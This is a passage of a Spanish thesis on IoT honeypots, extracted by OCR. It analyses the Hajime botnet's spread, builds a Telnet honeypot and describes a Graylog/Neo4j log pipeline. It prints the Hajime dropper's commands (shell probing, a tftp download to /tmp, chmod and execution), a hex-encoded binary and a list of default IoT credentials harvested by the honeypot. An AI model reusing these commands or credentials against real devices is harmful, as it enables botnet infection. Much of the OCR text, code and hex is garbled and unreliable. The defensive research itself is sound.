"b5ec928ab7c962f8a39d700ade3b11862045b6e85ddcde150c832ac7039658dc" 1 1
"df6782f3eee3b456b86cb2d3bbfd8ab84286ea0afe8ff70a05832b026cf19226" 1 1
"fdae5c28a636b2e84e6ccb147d2410dab3c6d78cc366dd8d5d470b07b7b2352b" 1 1
"f3304ad0eec26a947b01bad7bfe95f29f1c98bba8cbcfd7afdf9da75a0c77652" 1 1
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Estos resultados no recogen todas las muestras pero se puede apreciar que de
todos los ataques que ha recibido el honeypot, la mayoria intenta descargarse una
misma muestra que estd repartida entre diferentes urls, en cambio el resto de ataques
han utilizado muestras distintas en IPs diferentes, en la siguiente figura se puede
apreciar en el grafo, a la derecha se puede ver la muestra mas predominante mientras
que conforme tiende a la izquierda se pueden ver mas las muestras aisladas, como se
observa en la Figura 14.

Sample(14)

Figura 14 Grafo sobre los servidores que hospedan el malware
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3.3.3.1 Hajime

Se procede a analizar mas en profundidad la muestra que se ha destacado en el
grafo anterior. En este nuevo grafo se ha aislado la muestra que se quiere representar
mostrando las direcciones IPs de los servidores que la alojan mediante los nodos en azul,
junto a sus ASN(verde) y el cddigo de los paises en morado, como se observa en la Figura
15.

@ s CD CD CID CIID
[rswarn I counre A |

=

Figura 15 Grafo distribucién Hajime

Si se consulta en VirusTotal el hash de la muestra, este responde con una
deteccién de 24/58 antivirus mostrando que la mayoria la clasifica como el malware
Hijame, como se aprecia en la Figura 16, mientras que la herramienta de grafos
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proporcionada por VirusTotal apenas devuelve informacion nueva. La primera aparicion
de la muestra en la base de datos de VirusTotal corresponde al 2018-04-12, fecha a la
gue subi el archivo capturado en el honeypot ya que buscando por el sha256 por primera
vez no existia, esto demuestra el grado de evolucidn que tiene este tipo de malware
actualizdndose constantemente con diferentes mddulos o incluyendo nuevos
credenciales para afiadir dispositivos a la botnet.

24 engines detected this file

SHA-256 a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
File name mal
File size 78.4 KB

Lastanalysis  2018-05-16 07:45:29 UTC

Detection Details Relations x Community
AegisLab A BJCkEDO\ZL\nLIX‘!C Avast A ELF:Hajime-I [Trj]
Avast Mobile Security A ELF:Hajime-I [Trj] AVG A ELF:Hajime-| [Trj]
Avira A LINUX/Hajime.nsnlw Comodo A UnclassifiedMalware
Cyren A ELF/Trojan.ZYLP-5 ESET-NOD32 A a variant of Linux/Hajime.A
Fortinet A Linux/Hajime.Altr.bd GData A Linux.Trojan.Agent.2RYKXB
lkarus A Trojan.Linux.Hajime Jiangmin A Backdoor Linux.ayjk
Kaspersky A HEUR:Backdoor.Linux.Hajime.b McAfee A RDN/Generic BackDoor
McAfee-GW-Edition A RDN/Generic BackDoor Microsoft A Trojan:Win32/0ccamy.C
NANO-Antivirus A Trojan.EIfArm32.Hajime.fbhtfi Qihoo-360 A Win32/Backdoor.IM.280
Sophos AV A Mal/Generic-5 Symantec A Trojan.Gen.2
Tencent A Linux.Backdoor.Hajime.Huzk TrendMicro A ELF HAJIMEDT
TrendMicro-HouseCall A ELF_HAJIME.DT ZoneAlarm A HEUR:Backdoor.Linux.Hajime.b

Figura 16 VirusTotal muestra Hajime

Hajime es un malware peculiar ya que su objetivo no es dafiino ni econdmico
sino el de proteger dispositivos vulnerables ya que no dispone de ningin modulo o
funcionalidad para causar ataques DoS, solo dispone de mdédulos de escaneo para seguir
aumentando su grado de expansion. Su primera aparicidén fue en Octubre de 2016 y es
el principal rival de la botnet Mirai, viendo los resultados obtenidos en el honeypot
instalado se confirma que en la actualidad supera a Mirai respecto al niumero de
dispositivos controlados.
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Este malware es mas avanzado que Mirai ya que aunque utiliza métodos
similares a la hora de infectar dispositivos, credenciales conocidos o por defecto (en
fecha de su primera aparicién tenia los mismos credenciales que Mirai incluyendo dos
mas), controla un mayor numero de dispositivos. Una de las caracteristicas que lo hace
mas avanzado es que su comunicacién con los servidores de C&C es mediante protocolo
Peer-to-Peer, con esto alcanza un nivel de disefio mas robusto ya que no es sencillo
bloguear su comunicacion.

Los dispositivos reciben un curioso mensaje cifrado que solo se puede descifrar
con la key harcodeada en su cddigo, por lo que los investigadores estan seguros de que
el origen del mensaje es el propio autor del malware, el mensaje se puede apreciar en
la Figura 17:

Figura 17 Mensaje en los dispositivos controlados por Hajime

Este malware bloquea los puertos 23, 7547,5555 y 5358 que son los puertos que
corren servicios con vulnerabilidades conocidas para dispositivos loT, por lo que al
bloguear estos puertos esta protegiéndolo de otros dispositivos infectados
pertenecientes a otras botnets como la de Mirai.

El problema es que al ser un cédigo modular el autor puede anadir médulos
mediante comandos P2P, por lo que es capaz de transformar su botnet para que tenga
fines dafiinos. Dado que el numero de zombis que controla esta botnet es mas elevado
qgue el de la botnet Mirai, Hajime estas considerada como la segunda botnet mas grande
del mundo con alrededor de 300.000 dispositivos, es un gran peligro que pueda
convertirse en una herramienta con fines dafiinos ya que se debe recordar que Mirai,
poseyendo un menor numero de dispositivos, consiguid romper records de trafico
durante ataques DoS.
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3.3.3.2 Hajime Dropper

Cuando el malware Hajime infecta un dispositivo ademas de protegerlo activa un
moédulo denominado como dropper, cuya mision es infectar otros dispositivos. Las
conexiones que ha recibido el honeypot implementado son las de otros dispositivos
infectados ejecutando el dropper. A continuacion se explica cuales son los comandos
que ejecuta el dropper:

;

EE
}

cat /proc/mounts; /bin/busybox <RANDOM> #2

/tmp; cat .s cp /bin/echo .s; /bin/busybox <RANDOM> #3
tftp; wget; /bin/busybox <RANDOM> #4
dd bs=52 count=1l if=.s || cat . | | while read i; do echo $i;
.s #5
/bin/busybox <RANDOM> #6
rm .s; tftp -1.1i -r.i -g <URL>:<PORT>; chmod 777 .i;
il

Lo primera accion que toma el malware es intentar ejecutar una CLI en el
sistema, mediante los comandos marcados como #1, en el que ha conseguido iniciar
sesidn, con la lista de credenciales por defecto que tiene hardcodeados en su cddigo, ya
que al iniciar sesién desconoce de qué dispositivo se trata o cudl es su vendedor.

‘Enable’ es un comando para intentar ejecutar cddigo con privilegios de
administrador, por ejemplo en dispositivos CISCO. Mediante el comando ‘System’ el
malware intenta navegar por un menu de administracién de sistema que presentan
ciertos dispositivos. Sh’ y ‘sh’ se utilizan para intentar iniciar una Shell en los dispositivos
mas comunes.

Una vez el malware consigue iniciar una Shell inicia una fase de reconocimiento
del dispositivo, para eso utiliza el comando marcado como #2, para listar el sistema de
archivos e intentar encontrar una localizacidon donde tenga permisos de escritura para
poder descargar el malware desde los servidores.

Se puede observar que se ha adjuntado al final del comando la sentencia
“/bin/busybox” y unos caracteres que puden dar indicios al analista sobre que version
del malware se trata TOKYO, OWARI, ECCHI, SORA..., esto se ha visto en todas las
conexiones que recibe el honeypot y que se adjuntara el fichero. La funcién de este
comportamiento es que el malware sepa que se han ejecutado los comandos previos ya
gue un dispositivo que funcionase correctamente devuelve como salida por ejemplo
<ECCHI>: applet not found, esa es la razdn por la que se puede ver siempre después de una
cadena de comandos que intente ejecutar el malware. Como se puede observar en la
Figura 18 en esta conexion se ha utilizado los caracteres NXGHC y el sistema al ejecutar
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ETSE TR T P T repp T

echo
echo
echo
echeo
echo
echo
echo
echo

=ne
=ne
=-ne
=ne
=ne
=ne
=-ne
=ne

/bin/busybox NXGHC responde que no tiene ningln applet con ese nombre, NXGHC:
applet not found.

# cat /proc/mounts; /bin/busybox NXGHC

fdev/root /rom squashfs ro,relatime © ©

proc /proc proc rw,nosuid,nodev,noexec,noatime @ @

sysfs /sys sysfs rw,nosuid, nodev,noexec,noatime 0 @

tmpfs /stmp tmpfs rw,nosuid, nodev,noatime @ @

/dev/mtdblockl® /overlay jffs2 rw,noatime @ 0

overlayfs: /overlay / overlay rw,noatime, lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work @ @
tmpfs sdev tmpfs rw,nosuid, relatime,size=512k,mode=755 6@ @
devpts sdev/pts devpts rw,nosuid, noexec,relatime,mode=660 @ @
debugfs /sys/kernel/debug debugfs rw,noatime © ©

NXGHC: applet not found

# cd /tmp; cat .s || cp /binsecho .s; /bin/busybox NXGHC
cat: .s: No such file or directory

NXGHC: applet not found

Figura 18 Interaccion del Honeypot con el dropper de Hajime

El malware Hajime intenta buscar un directorio donde tenga permisos de
escritura que no sea / ni /proc ni /sys, en el caso del honeypot es /tmp/ por eso en el
siguiente comando intenta ejecutarse en el path /tmp en los comandos marcados como
#3.

La secuencia de comandos #3 tiene varios objetivos, para empezar asegurarse de
que existe el binario ‘bin/echo’, esto lo hace porque si existe el binario entonces el
malware puede aprovecharse de este para en vez de descargar el malware con una
conexién a un servidor, generarlo utilizando echo y un input hexadecimal, ejemplo
encontrado en conexiones que se puede apreciar en la Figura 19.

Figura 19 Generando binario con echo

T\ xAE\ xdc x46 kB L\ k0 1\ x A1\ x 00 x 00\ 00\ x00 \x 00 x 08 x00\ k00 \xBO\ B2 x 00\ x28\ x00\xOL\ x00\ x00Y x00\ x 54\ 0N xB 1\ xO0\ 234\ x00\ x00\ 00\ x40\ xOL BB
"\ B0\ B8N x01 x08 xTE\ x00\ xBOY\x 08 x FE\ xOO\ xB0Nx00 x05 x00\ x0O\ xBON\ OO x00\xO1\ 00\ x02 x00 \ xallxeI\ xO1\x10% xal \ eI\ 06\ X208 xad \ xed \ x0T\ 108" x2d"
"\ kBT80N x2d" xe0 x03\ x00' xab\xe3\ x0d \ x 10" xal\xel\ x 66" x00" x 00 xe i x 14\ xd@'\ xBd"\ xe2 \ x4\ x4 T\ xdd xe2 \ xB5\ x50 x45" xe '\ x06" x08 xad'\ xel x84\ x 10" xad"
"y xB8 x50 x85 xef\ x00" x08" x50 xe3\ x04\ x00" x08  xda" x00 x20" xal\ xel  x01) x08" xal' xe3\ xB4  x 104 xa8' xel\ x04\ x08" x 90  xe T\ xee\ x TP\ xf i xea' x4 xd '\ x8d
"y kB2 \ 69\ x 08\ x01\x1c\ k00 \xB0Y\ 00 X85\ x4\ B FAxT 2\ xT A\ X6\ T B\ x2d \ 241 x 35\ xOO\ 06\ xBa\ xOT\ x4\ x08 \ xOL\xBNx02 \ k28 \ 01\ x44\ xOL\x00 \ x2e\ xT 3\ 6B
"\ B0\ B8N x 00 x08 x00\ x00\ xBOY\x 00 x00\ OO\ x0EN\x 00 x 08 x00\ x0O\xBO\ OO x 00\ xOO\ 00\ x00 x00\ 00 x00\ OO\ OO x00\ xOO\ O\ x00\ xBO\ OO\ xOO\ xOO" xOE
" k88 x00"x00', 200 x00" x00"\ x00 200" x04"\ x00" x00 100" x00 00" 200 x08x 11\ x00" 200" x00" 03"\ x00" 200 x 70 x00"\ x00" 200" x00\ x00" 00, 200 x00\ x FB\ 200" x0E"
"B\ B8N 00 X008\ k00 xB0\ X B0\ BB\ x 1T\ RO L\ B8N\ x 00\ x2 1\ 00\ xB0 \ xBO\ xBE\ x00\ xDO\ 008\ x 0D\ xO0\ 08\ x00\ xOL\ OO\ x00 \ x0O\ X0\ xOD\ OO\ XBE" »> .5

Mediante la secuencia #4 el malware Hajime realiza un reconocimiento de las
funciones disponibles en el dispositivo, comprueba si dispone de wget y tftp que en
caso de hacerlo utilizara para descargarse el malware con el objetivo de ejecutarlo,
siempre con la terminacion para saber que la secuencia de comandos se ha ejecutado,
en este caso el honeypot implementa las dos funcionalidades.

El objetivo de la secuencia #5 es el de leer la cabecera del fichero original echo
para reconocer la arquitectura del procesador del dispositivo y para certificar que tiene
permisos de escritura en dicha ruta.
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Por ultimo en la secuencia #7 borra el fichero que ha creado anteriormente para
extraer toda la informacién posible del dispositivo, descarga el malware del servidor
mediante tftp, indicando el servidor remoto, el fichero que se quiere descargar y como
quiere nombrarlo en local para darle los correspondientes permisos y ejecutarlo
finalmente.

3.3.4 Conclusiones del andlisis: Guerra de Botnets

Los dispositivos que son controlados por estas Botnets estdan continuamente
escaneando direcciones IPs buscando otros dispositivos vulnerables para infectarlos e
incorporarlos a la botnet. Debido a que el malware se ejecuta en memoria, si el
dispositivo se reinicia vuelve a entrar en el escenario de guerra entre las botnets, donde
el zombie de la primera botnet que conecte con él sera el que se apropie del dispositivo,
al menos temporalmente hasta su préximo reinicio.

Hajime al ser un malware mas evolucionado, debido a que su diseno se basé en
anadlisis de seguridad publicados sobre Mirai paliando las debilidades que estos
demostraban. Es por esto por lo que no se deben mostrar un analisis de malware
completo ya que los desarrolladores del mismo pueden mejorar sus caracteristicas
aumentado la dificultad de su contencién, analisis y deteccién.

Hajime esta ganando la guerra a la botnet Mirai y como prueba los datos
analizados en el honeypot, pero este escenario presente, donde Hajime predomina en
la escena, puede cambiar en el momento en que aparezca otro malware con
funcionalidades mds avanzadas.
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4. Desarrollo del Honeypot

4.1 Presentacion del dispositivo

Para el desarrollo del honeypot este proyecto se ha basado en un informe de
auditoria sobre un dispositivo real para simular su servicio y exponerlo en Internet para
ver como se comportan las conexiones recibidas.

El dispositivo presenta varios servicios con puertos abiertos pero el honeypot
simula Unicamente el de telnet debido a que es el que presenta un interfaz de gestidn
del dispositivo, como se puede apreciar en la Figura 20.

root@kali:~# telnet X.X.X.X 10004
Trying X.X.¥X.¥X...

Connected to X.X.X.X.

Escape character is ""]'.

hel‘_:::

et a S A A EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE SRS E A AR EEEEEEEEEEEEEEEEE LSS

&

SAC - SISTEMAS AVANZADOS DE CONTROL.
SAC - XXXX DLC/SAP20/ETH/GPRS/GSM 2016-V1.l1 PRINCIPAL

El e e g g e e e e e e e e e e e e e e o e e e e e 3

<ED> Entradas digitales.

<EA> Entradas Analogicas.

<CNT> Contadores.

<TRF> Trafos.

<5P> Entradas digitales simples IEC-104.
<DP> Entradas digitales dobles IEC-104.
<NM> NOEMALIZED MEASUEES IEC-104.

<CNE> Parametros de configuracion.

<IEC> Parametros de configuracion IEC-104.ED
<DIPA> Direcciones IP autorizadas.

<HIST> Mostrar historico de eventos.

<FLASH> Mostrar historico de eventos en flash.
<TRANS> Modo transparente.

<MT1> Modo transparente PUERTO 1.

<INFO> Informacion equipo.

<FECHA> Ver la fecha.

<sSu> Conectarse como superusuario.

<HELP> Ver comandos disponibles.

Figura 20 Informe de Auditoria sobre el dispositivo

No se dispone de toda la informacidn respecto al resultado de ejecutar todos los
comandos, solo algunos, por lo que se simulara que el dispositivo devuelve un mensaje
explicando que no se ha configurado correctamente el dispositivo en caso de que el
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atacante ejecute un comando con respuesta desconocida. Como se puede observar en
el informe, existe un comando para conectarse como superusuario, en el honeypot se
simulara que al conectarse en este modo se dispone de la opcién wget para descargar
contenido desde Internet y ejecutarlo.

El informe de auditoria incluye, como se puede ver en la Figura 21, la respuesta
real del dispositivo al ejecutar el comando fecha y el comando hist, el honeypot simulara

el mismo comportamiento.

Figura 21 Respuesta dispositivo al comando HIST

4.2 Desarrollo del honeypot

Para implementar el honeypot se ha partido de un servidor Telnet simple
desarrollado en Java, se ha modificado su comportamiento para que se asimile al
informe de auditoria. Para alentar a los atacantes a conectarse al dispositivo se ha
modificado su comportamiento para mostrar un banner cuando se recibe una conexién,
al contrario del comportamiento del dispositivo.

Se ha implementado una modificacién respecto a los credenciales de
autenticacion, en el informe se puede observar que el dispositivo no dispone de un
método de autenticacidon, pero como se estima interesante saber que credenciales
utiliza el atacante se ha establecido que el usuario para conectarse sea “root” y la
contrasefia “default”. De esta manera se pueden recopilar los credenciales que se
intentan utilizar y a la vez el grado de dificultad para el atacante no es alto ya que son
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credenciales por defecto que se suelen utilizar en otros dispositivos. El atacante dispone
de tres intentos para introducir correctamente los credenciales, sino el servidor cierra
la conexidn, como se puede observar en la Figura 22.

o 3 HC T HC 3 R 3 e 30 e e 3 e e e THE R0 3 28 0 T80 e e e 80 80 e e e e e THE Jhe e 3 3 280 2H0 e 3 e 8 80 T80 e e 3he e e THE The 3he e 3 280 20 e e T 8o e e e She 3 e e The The 3 e 28 e e

e

SAC - SISTEMAS AVANZADOS DE CONTROL .
SAC - XXXX DLC/YSAPZOETH/GPRS/YGSM 2016-V1.1 PRINCIPAL

THC TRC T C D TR TR T D D IO DD T T T D D D T JHRC DD D D A DR D D D 4D JeRC O T D D JeRD RC R DT DD THC IR IR T T THC RO D D JC TC D D D TRC THC D DD JdeD R TR T O T D D O O O D O
Login:root
Password:password
Error: Authentication fail

Login:root
Password:passwordl
Error: Authentication fail

Login: toor
Password:password:
Connection close by Toreign host.

Figura 22 Autenticacion del Honeypot implementado

Cuando el atacante ejecuta el comando SU, el dispositivo devuelve un mensaje
confirmando que ahora dispone de privilegios de superusuario, si ejecuta el comando
HELP el dispositivo responde con el nuevo comando wget disponible para descargar
recursos de Internet.

e i 2 e He e M 2k e 2k e 2 e 2 ke 2 e e e e e e e ok ok ¢ 2 e 2 2 M 2 e He e He 2 e 2k e 2k 2k 2 2k 2k e e e e e He e e ok e ok

SAC - SISTEMAS AVANZADOS DE CONTROL.
SAC - XXXX DLC/SAP20/ETH/GPRS/GSM 2016-V1.1 PRINCIPAL

e e 2 C HC 24 0 T 0 o C 0 240 THC HC T e e 40 e 0 e b DR o e b 4 e C 0 B0 THC 40 DR h 40 T 0 e b 4 R G e b e 40 e D B0 e 4 T 4 e b o e
<ED> Entradas digitales.

<EA= Entradas Analogicas.

=CNT= Contadores.

<TRF= Trafos.

<5P> Entradas digitales simples IEC-104.

<DP> Entradas digitales dobles IEC-104.

<NM= NORMALIZED MEASURES IEC-1084.

<CNF> Parametros de configuracion.

<IEC> Parametros de configuracion IEC-104.ED

<DIPA= Direcciones IP autorizadas.

<HIST> Mostrar historico de eventos.

<FLASH= Mostrar historico de eventos en flash.

<TRANS> Modo transparente.

<MT1> Modo transparente PUERTO 1.

<INFO> Informacion equipo.

<FECHA= Ver 1la fecha.

<HELP= Ver comandos disponibles.

<WGET= Usar comando wget para descargar y ejecutar nueva configuracion.

SAPZ20 - r:]:]t#l

Figura 23 Respuesta comando HELP con modo SU
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Si se utiliza el comando WGET el honeypot descargara el recurso respondiendo
con un mensaje de descarga correcta pero indicando un error en la ejecucion del
archivo, de esta manera se da a entender al atacante que el comando sirve para
descargar y ejecutar el archivo de configuracién, de esta manera se analizara como
intenta el atacante aprovecharse de esta funcionalidad.

Conectado como Superusuario

SAP20 - root#wget www.google.com

Descarga correcta

Ejecutando fichero de configuracion descargado
Error de ejecucion

SAP20- root#j]

Figura 24 Respuesta comando WGET del Honeypot

4.3 Explotacion de la informacién del honeypot

Toda la informacién de la conexidn queda registrada en un archivo de log,
incluyendo la fecha, direccidon IP y los comandos que ha utilizada el atacante. Para
explotar dicha informaciéon se utilizan las siguientes herramientas: Logstash,
Elasticsearch, Graylog y Neo4;j.

Logstash es el encargado de enviar la informacién, generada por el honeypot y
almacenada en un fichero local, hacia Graylog. Este se ejecuta en modo servicio de
manera que cada nuevo registro en el fichero es enviado mediante la utilizacién del
output GELF TCP hacia el servidor de Graylog. De esta manera se puede establecer una
arquitectura distribuida de honeypots en diferentes puntos y recoger toda la
informacién de manera centralizada como muestra la Figura 25.

Graylog al recibir la informacion generada por los honeypots la cruza primero
con una base de datos para su geo localizacién, adjuntando la ciudad a la que pertenece
la direccién IP y el codigo del pais, por ultimo la direcciones IPs son contrastadas con
unos feeds de inteligencia para saber si la conexion pertenece a la nodos de lared Tor o
si pertenece a netblocks secuestrados por cibercriminales. Una vez es procesada la
informacién Graylog la envia a Elasticsearch para que sea indexada.

Elasticsearch es un motor de bases de datos no relacional que permite al analista
hacer busquedas rapidas en la informacién desde Graylog que es la interfaz visual y

32

Pablo Arriaga Pérez



desde el cual mediante el uso de funciones simples como la agregacion se puede
explotar la informacidon de manera mas sencilla.

Por ultimo Graylog envia la informacion de la conexion ya procesada a Neo4j
mediante un plugin de salida. Neo4j es una base de datos orientadas a Grafos que
permite encontrar patrones en las relaciones entre los datos, de esta manera se pueden
encontrar relaciones entre los ataques que reciben los distintos honeypots.

u
Logstash

Honeypot 1

Honeypot 2

©
GO

Graylog & Neo4j ElasticSearch

u
Logstash

Figura 25 Infraestructura explotacion de la informacién del Honeypot

a

\|

Honeypot n

4.4 Analisis de la informacion

Gracias a la herramienta Graylog se puede analizar los logs de los honeypots de
una manera mas rapida y se ha detectado que de todas las conexiones recibidas ninguna
ha sido realizada por un atacante sino que todas han sido generadas por dispositivos
pertenecientes a botnets, esto se sabe porque nadie ha interactuado con el honeypot
mas alla que la manera programada en el malware, se cree que el problema es que al
no aparecer en Shodan el nivel de atencién que capta de los atacantes puede haber sido
mucho menor. De todas las conexiones recibidas ninguna IP aparece en los Feeds de
inteligencia.
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Mediante la creacién de Dashboard se puede configurar para que el analista
observe los credenciales mas utilizados al igual que la geo localizacion de la direccién IP,
a este dashboards se le pueden afadir mas graficas para mostrar por ejemplo las

direcciones IPs que mds veces se conectan a los honeypots., como se aprecia en la Figura
26.

Honeypots
e Drag widgets to any position you like in unlock / edit mode
Top Passwords Top Users Conexiones 5 Dias
+
Top 5 values Top 5 values -
admin 483% 180 root 4526% 2,035
1234 3.94% 147 admin 1810% 814
12345 362% 135 null 1524% 685 -
o
password 279% 104 guest 285% 128 3 1. %8 °
7ujMkoOadmin 276% 103 user 1.65% 74 e :P“s’b:u R .
Others Others - T N, C}fﬁ i
Sup 274% 102 default 133% 60 “'us - = 3 @
123456 239% 89 supervisor 1.20% 54 ‘: ° e -
11 217% 81 telnetadmin 0.98% 44 90“‘3‘ ° J
user 209% 78 esehome 0.96% 43
Wint dows$ 108% 74 Administrator 0.83% 40
default 1.90% 71 estelnet 0.87% 39
666666 1.85% 69 nr2g 0.85% 38
xe3511 1.82% 68 vstarcam2015 0.85% 38
pass 180% 67 service 0.82% 37
Ztes21 172% 64 Admin 0.82% 37
888888 169% 63 telecomadmin 0.80% 36 Leafiet | © OpenStreethap contributors
a few seconds ago >0 a few seconds ago >0 a few seconds ago >0

Figura 26 Dashboard con la informacion de los Honeypots

Logstash parsea el log para que este dividido en mddulos de Credentials,
connection established, connection closed y command execution. De esta manera se
pueden analizar los mensajes de una manera mas clara en Graylog como se ve en la
siguiente Figura 27, filtrando o especificando cual se quiere buscar.
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Quick Values for modulo

a
Fields Decorators
a
Defak AN None =
a
v
Y
. Histogram ddto dashboard
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" @
I ‘ ‘ ‘
b . . ‘\ ! |”II\. L | . ’ i,
‘g
* 8 o Messages Previous Y . o
O o sz oot v
‘@
o sz oot
s I opor

2018.05.31 143521474 pot

2018.05.31 143521466 ot

Figura 27 Graylog mostrando los logs y grafico con los médulos

Para demostrar el gran nimero de dispositivos que controlan estas botnets se
han buscado las direcciones IPs que han atacado al honeypot implementado y al
honeypot desarrollado utilizado en el proyecto, el resultado ha devuelto que solo 1 IP
se ha conectado a ambos honeypots.

Figura 28 Grafo mostrando los honeypots implementados y la relacién de las conexiones recibidas
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En la siguiente figura, Figura 29, se puede ver la consulta que se utiliza en Neo4;j
y un mayor zoom para ver el resultado.

$ MATCH (x:IpAttacker)-[:ATTACKING_TO]-(y:Honeypot) WITH x,y MATCH (x)-[:ATTACKING_TO]-(d:Honeypot) WHERE d.name <> y.name RETURN x,y,d

© C D &

ATTACKING_TO(2) ll COUNTRY_AT(1)

Text

honeypot1 ATTACKING_TO
<P
Code

Figura 29 Unica IP relacionada con los dos Honeypots
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5. Conclusiones

Con este proyecto se ha demostrado el estado actual del nivel de seguridad de
los ecosistemas loT donde las botnets compiten por infectar el mayor nimero de
dispositivos, estas botnets no necesitan usar ataques complejos para hacerse con el
control del dispositivo, basta con usar los credenciales por defecto con los que estan
configurados desde su fabricacion.

Mediante la utilizacion de honeypots se ha analizado el comportamiento de estas
botnets y se ha confirmado que los atacantes se centran en aumentar el nimero de
dispositivos de estas botnets ignorando dispositivos poco comunes en la red debido a
su poca influencia, salvo que sea un objetivo especifico de los atacantes.

Con toda esta informacion se considera que se han cumplido los objetivos
propuestos para el trabajo aunque se presentan algunas limitaciones que se solventaran
en los futuros pasos.

Uno de ellos es la implementacién del protocolo telnet en el codigo Java para
qgue al usar Nmap sobre el honeypot este reconozca que se trata del protocolo Telnet y
no que lo suponga por la manera de responder y por estar en el puerto 23 como sucede
en la actualidad.

El segundo paso que se quiere llevar acabo es conseguir que Shodan indexe el
honeypot en su base de datos con el fin de aumentar la atencién de atacantes reales
sobre el dispositivo y asi conseguir ser objetivo de ataques mds avanzados y analizarlos
ya que en la actualidad solo se han conseguido recibir ataques provenientes de botnets.
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8. Anexo

Graylog Feeds de inteligencia

Para configurar los feeds de inteligencia hay que activarlos con la opcién Enabled
dentro de la seccién Configurations de Graylog en la seccion de Plugins, para poder
habilitar el feed de los exits Nodes de Tor la versién de java instalada debe ser por lo
menos la version Java 8 (u101).

Una vez activado los feeds en la seccién de Pipeline se debe crear un nuevo
Pipeline para conectarlo con el stream que recoge la informacién de los honeypots y
crear una regla para contrastar el campo ip con los feeds como la siguiente:
rule "Tor and SpamHaus"
when
has_field("ip")

then
let intel = spamhaus_lookup_ip(to_string($message.ip));
set_field("threat_indicated", intel.threat_indicated);
let intel_tor = tor_lookup(to_string($Smessage.ip));
set_field("src_addr_is_tor_exit_node", intel_tor.threat_indicated);

end

Mediante este proceso se crean los campos threat_indicated vy
src_addr_is_tor_exit_node que indican si la IP del mensaje esta en los feeds de
inteligencia de SpamHaus o en la lista de salida de los nodos de la red Tor.

Graylog Neo4j Output Plugin

Se trata de un plugin experimental que se debe descargar del market de Graylog.
Una vez descargado se copia el archivo jar en la carpeta plugins de Graylog, tras reiniciar
el servicio el plugin estara disponible dentro de la seccidon Streams->Manage Output.

Cuando se crea el plugin se le debe indicar la cadena de conexion del servidor
Neo4j, existe la posibilidad de realizar la conexién utilizando conectores bolt o
conectores http, ademas de indicarle los credenciales.

Se deberd crear una sentencia Cypher para indicar como se quiere integrar la
informacidn, la sentencia que se ha utilizado en el proyecto es la siguiente.

MERGE (city:City { name: 'S{ip_city_name}'})
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MERGE (country:Country { name: '${ip_country_code}' })
MERGE (ip:Ip { ip: '${ip}'})

MERGE (honeypot:Honeypot {name: '$S{source}'})
MERGE (city)-[:CIUDAD_EN]->(country)

MERGE (ip)-[:IP_EN]->(city)

MERGE (country)-[:ATACANDO]->(honeypot)

Logstash en los honeypots

A continuacién se muestra el archivo de configuracion que se debe guardar en la
carpeta /etc/Logstash/conf.d ya que Logstash se va a ejecutar en modo servicio de
manear que segun se afiaden nuevas lineas al fichero log estas se envian al servidor de
Graylog.

MM-dd HH:mm

f [modulo] "Command Execution"{
mut

{ "input"

Existe un procesamiento segun el string que contenga el campo modulo, de esta
manera se indexan con el nombre apropiado, este procesamiento también se puede
configurar en Graylog pero es mas sencillo realizarlo desde el inicio en Logstash.
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Consultas SQL para la BD del Honeypot

Esta sentencia devuelve la unién entre los samples y las urls que las hospedan

LEFT JQIN urls ON samples.id = urls.sample

SELECT *

FROM samples

WHERE sha 0
'al04ac6d98a

Importar Datos a Neodj

Estos son los comandos utilizados para crear el primer grafo presentado del proyecto.

CREATE RAINT ON an ) A RT sample.sha256 IS UNIQUE

CREATE CONSTRAINT ON 3 ASSER rl.ur S UNIQUE

CREATE STRAINT ON ip: ASSERT ip.ip IS

CREATE CONSTRAINT ON >( y:Country) ASSERT country.country code IS UNIQUE

#Carga inicial de la informacién
LOAD CSV WITH HEADERS FROM "file:///AllSamples
FIELDTEPMINATOP i

(sample:Sample {sha256:

ip:Ip {ip: line.ip})

url:Url {url: line.url})
MERGE (asn:Asn {asn: line.asn})
MERGE
MERGE
MERGE

ERVER

(i
(
(
MERGE (COUMtl ountry {country code: line.country}
(
(1
(

%ﬂﬁ

#Unirl

LOAD CS WITH HEADERb FROM "file:///uni .CSV S line FIELDTERMINATOR '#'
MATCH (sample:Sample {sha256: line.sha2!

MATCH (url:Url {url: line.url})

MERGE (url)<-7[: TED AT]->(sample)
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Para el resto de grafos se han utilizado los siguientes comandos
#Honeypot implementado
WITH HEADERS FROM "file:///IPdistinct.csv

WITH line WHERE line.ip city name IS NOT NULL
MERGE (ip:IpAttacker {ip: line.ip})

MERGE ( oneypot {name: line.source})
MERGE ; y {count 5

MERGE

MERGE

FROM "file:///IP inctPrimerHone

(ip:IpAttacker {ip: line.ip})
MERGE untry {country code:line.country})
ME N ypot > {name: line
/pot)

MERGE
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